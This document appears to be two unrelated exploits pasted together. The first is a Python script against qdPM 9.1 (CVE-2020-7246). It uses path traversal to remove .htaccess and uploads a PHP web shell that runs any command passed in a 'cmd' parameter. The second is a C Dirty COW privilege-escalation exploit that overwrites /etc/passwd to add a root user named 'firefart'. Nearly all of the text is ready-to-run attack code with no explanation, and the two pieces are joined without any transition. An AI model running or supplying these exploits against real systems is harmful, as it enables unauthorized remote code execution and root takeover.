# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright  2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution

#!/usr/bin/python3

import sys
import requests
from lxml import html
from argparse import ArgumentParser

session_requests = requests.session()

def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    return request_1

def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
    request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'.htaccess')
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_1)
    request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'../.htaccess')
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php','<?php if(isset($_REQUEST[\'cmd\'])){ echo"<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream')
        }
    upload_req = session_requests.post(HOSTNAME +
'index.php/myAccount/update', files=request_3)

def main(HOSTNAME, EMAIL, PASSWORD):
    url = HOSTNAME + '/index.php/login'
    result = session_requests.get(url)
    #print(result.text)
    login_tree = html.fromstring(result.text)
    authenticity_token =list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
    payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,'login[_csrf_token]': authenticity_token}
    result = session_requests.post(HOSTNAME + '/index.php/login',data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
    # The designated admin account does not have a myAccount page
    account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
    account_tree = html.fromstring(account_page.content)
    userid = account_tree.xpath("//input[@name='users[id]']/@value")
    username = account_tree.xpath("//input[@name='users[name]']/@value")
    csrftoken_ =account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
    req(userid, username, csrftoken_, EMAIL, HOSTNAME)
    get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
    final_tree = html.fromstring(get_file.content)
    backdoor =final_tree.xpath("//input[@name='users[photo_preview]']/@value")
    print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' +backdoor[-1] + '?cmd=whoami')

if __name__ == '__main__':
    print("You are not able to use the designated admin account because they do not have a myAccount page.\n")
    parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')
    parser.add_argument('-url', '--host', dest='hostname', help='Project URL')
    parser.add_argument('-u', '--email', dest='email', help='User email(Any privilege account)')
    parser.add_argument('-p', '--password', dest='password', help='User password')
    args = parser.parse_args()
    # Added detection if the arguments are passed and populated, if not display the arguments
    if  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):
        main(args.hostname, args.email, args.password)
    else:
        parser.print_help()

 #include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}